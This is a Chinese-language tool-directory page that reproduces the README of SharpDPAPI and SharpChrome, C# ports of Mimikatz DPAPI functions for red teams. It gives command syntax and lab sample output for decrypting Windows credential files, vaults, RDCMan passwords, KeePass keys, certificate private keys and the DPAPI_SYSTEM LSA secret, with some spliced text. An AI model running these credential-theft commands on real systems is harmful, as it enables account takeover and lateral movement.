Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpDPAPI — SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。 | Kitploit
工具/GitHubGitHub/ghostpack/sharpdpapi
密码破解加密/解密工具持久化机制漏洞利用数据泄露后渗透利用渗透测试红队持久化机制 分类第 8 名
GitHubghostpack/sharpdpapi
1.4k24992年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SharpDPAPI

SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。

查看仓库

SharpDPAPI


SharpDPAPI 是 @gentilkiwi 的 Mimikatz 项目中部分 DPAPI 功能的 C# 移植版本。

我并未构思此逻辑,它仅仅是 Mimikatz 的移植,旨在更好地理解流程并将其操作化以适应我们的工作流程。

SharpChrome 子项目改编自 @gentilkiwi 和 @djhohnstein 的工作,特别是其 SharpChrome 项目。然而,此版本的 SharpChrome 使用了支持无锁打开的不同版本的 C# SQL 库。由于所使用的 SQLite 库体积较大,SharpChrome 在 SharpDPAPI 中被构建为一个单独的项目。

Chrome 和基于 Chromium 的新型 Edge 浏览器均可通过 SharpChrome 进行分类。

SharpChrome 还使用了 @AArnott 的 BCrypt P/Invoke 代码 的精简版本,该代码以 MIT 许可证发布。

如果你不熟悉 DPAPI,请查看此文章获取更多背景信息。有关 DPAPI 中凭据和保管库的更多信息,请参阅 Benjamin 的关于该主题的 Wiki 条目。

@harmj0y 是本移植版本的主要作者。

SharpDPAPI 采用 BSD 3-Clause 许可证授权。

目录

  • SharpDPAPI
    • 目录
    • 背景
      • SharpDPAPI 命令行用法
      • SharpChrome 命令行用法
      • 操作用法
        • SharpDPAPI
        • SharpChrome
    • SharpDPAPI 命令
      • 用户分类
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • 计算机分类
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • 其他
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • SharpChrome 命令
      • logins
      • cookies
      • statekeys
      • backupkey
    • 编译说明
      • 针对其他 .NET 版本
      • 附注:通过 PowerShell 运行 SharpDPAPI
        • 附注附注:通过 PSRemoting 运行 SharpDPAPI

背景

SharpDPAPI 命令行用法

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

检索域控制器的 DPAPI 备份密钥,可选择指定域控制器和输出文件:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


*search* 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


计算机/SYSTEM 分类:

    machinemasterkeys       -   对所有可访问的计算机主密钥文件进行分类(提升至 SYSTEM 以检索 DPAPI_SYSTEM LSA 秘密)
    machinecredentials      -   使用 'machinemasterkeys' 然后对计算机凭据文件进行分类
    machinevaults           -   使用 'machinemasterkeys' 然后对计算机保管库进行分类
    machinetriage           -   运行 'machinecredentials' 和 'machinevaults' 命令


用户分类:

    'masterkeys' 命令的参数:

        /target:FILE/folder     -   对特定主密钥或包含主密钥的文件夹进行分类(否则对本地主密钥进行分类)
        /pvk:BASE64...          -   使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
        /pvk:key.pvk            -   使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
        /password:X             -   使用明文密码解密目标用户的主密钥(可远程工作)
        /ntlm:X                 -   使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
        /credkey:X              -   使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
        /rpc                    -   通过请求域控制器解密目标用户的主密钥
        /server:SERVER          -   对远程服务器进行分类,假设拥有管理员权限
        /hashes                 -   输出用户主密钥文件的 '哈希',格式为 JTR/Hashcat(不解密)


    credentials|vaults|rdg|keepass|triage|blob|ps 命令的参数:

        解密:
            /unprotect          -   强制对 'ps'、'rdg' 或 'blob' 命令使用 CryptUnprotectData()
            /pvk:BASE64...      -   使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
            /pvk:key.pvk        -   使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
            /password:X         -   使用明文密码解密目标用户的主密钥(可远程工作)
            /ntlm:X             -   使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
            /credkey:X          -   使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
            /rpc                -   通过请求域控制器解密目标用户的主密钥
            GUID1:SHA1 ...      -   使用一个或多个 GUID:SHA1 主密钥进行解密
            /mkfile:FILE        -   使用包含一个或多个 GUID:SHA1 主密钥的文件进行解密

        目标定位:
            /target:FILE/folder -   对特定的 'Credentials'、'.rdg|RDCMan.settings'、'blob' 或 'ps' 文件位置,或 'Vault' 文件夹进行分类
            /server:SERVER      -   对远程服务器进行分类,假设拥有管理员权限
                                    注意:必须与 /pvk:KEY 或 /password:X 一起使用
                                    注意:不适用于 'blob' 或 'ps' 命令


证书分类:

    'certificates' 命令的参数:
        /showall                                        -   显示所有解密的私钥文件,而不仅仅是链接到已安装证书的文件(默认行为)
        /machine                                        -   使用本地计算机存储进行证书分类
        /mkfile | /target                               -   用于 /machine 分类
        [来自上方用户分类的所有解密参数]


注意:大多数情况下,如果你在处理用户 DPAPI 秘密时直接使用 *triage*,而在处理 SYSTEM DPAPI 秘密时使用 *machinetriage*。
      这些功能封装了所有其他可以自动运行的相关功能。

SharpChrome 命令行用法

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_**credentials** 命令将搜索凭据文件,并可以 a) 使用提供的任何 `{GUID}:SHA1` 主密钥解密,b) 使用一个 `/mkfile:FILE` 文件,包含一个或多个 `{GUID}:SHA1` 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(`/pvk:BASE64...` 或 `/pvk:key.pvk`)首先解密任何用户主密钥(类似 **masterkeys**),或 d) 使用 `/password:X` 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 `sekurlsa::dpapi` 命令恢复。

可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的凭证文件(或凭证文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值;如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

如果在提升的上下文中运行,将处理所有用户的凭证文件,否则仅处理当前用户的凭证文件。

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

vaults 命令将搜索保管库,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

Vault 文件夹中的 Policy.vpol 文件夹将使用提供的任何 DPAPI 密钥进行解密,以检索关联的 AES 解密密钥,然后使用这些密钥解密任何关联的 .vcrd 文件。

可以使用 /target:C:\Folder\ 指定特定的 vault 文件夹。在这种情况下,要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

使用域 DPAPI 备份密钥并指定文件夹(即“离线”处理):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

rdg 命令将搜索当前用户(如果提升则为所有用户)的 RDCMan.settings 文件,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

/unprotect 标志将使用 CryptUnprotectData() 解密任何保存的 RDP 密码,前提是该命令在保存密码的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。

可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的 RDCMan.settings 文件、.RDC 文件(或 .RDG 文件所在的文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值(或 /unprotect);如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

此命令将解密来自 RDCMan.settings 文件以及该文件引用的任何 .RDG 文件中保存的所有密码信息。

使用 /unprotect 解密任何找到的密码:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

keepass 命令将搜索当前用户(如果提升则为所有用户)的 KeePass ProtectedUserKey.bin 文件,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

/unprotect 标志将使用 CryptUnprotectData() 解密密钥字节,前提是该命令在保存密码的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。

可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的 ProtectedUserKey.bin 文件、.RDC 文件(或 .RDG 文件所在的文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值(或 /unprotect);如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

解密后的密钥文件字节可以与 KeeThief 中修改过的 KeePass 版本一起使用。

使用 /unprotect 解密任何找到的密钥材料:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

certificates 命令将搜索用户加密的 DPAPI 证书私钥,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

/unprotect 标志将使用 CryptUnprotectData() 解密私钥,前提是该命令在您尝试访问其证书的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。

可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的证书。在这两种情况下,都需要提供 {GUID}:SHA1 值(或 /unprotect),或者文件夹必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。

默认情况下,仅显示与已安装证书相关联的私钥。使用 /showall 命令将显示所有解密的私钥。

对 CNG 私钥使用 /cng 标志(默认为 capi)。

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da使用 `/unprotect` 解密找到的任何用户证书:

C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

triage 命令运行用户 credentials、vaults、rdg 和 certificates 命令。

Machine Triage

machinemasterkeys

machinemasterkeys 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。它将返回一组主密钥 {GUID}:SHA1 映射。

需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

machinecredentials 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器凭据文件。

需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
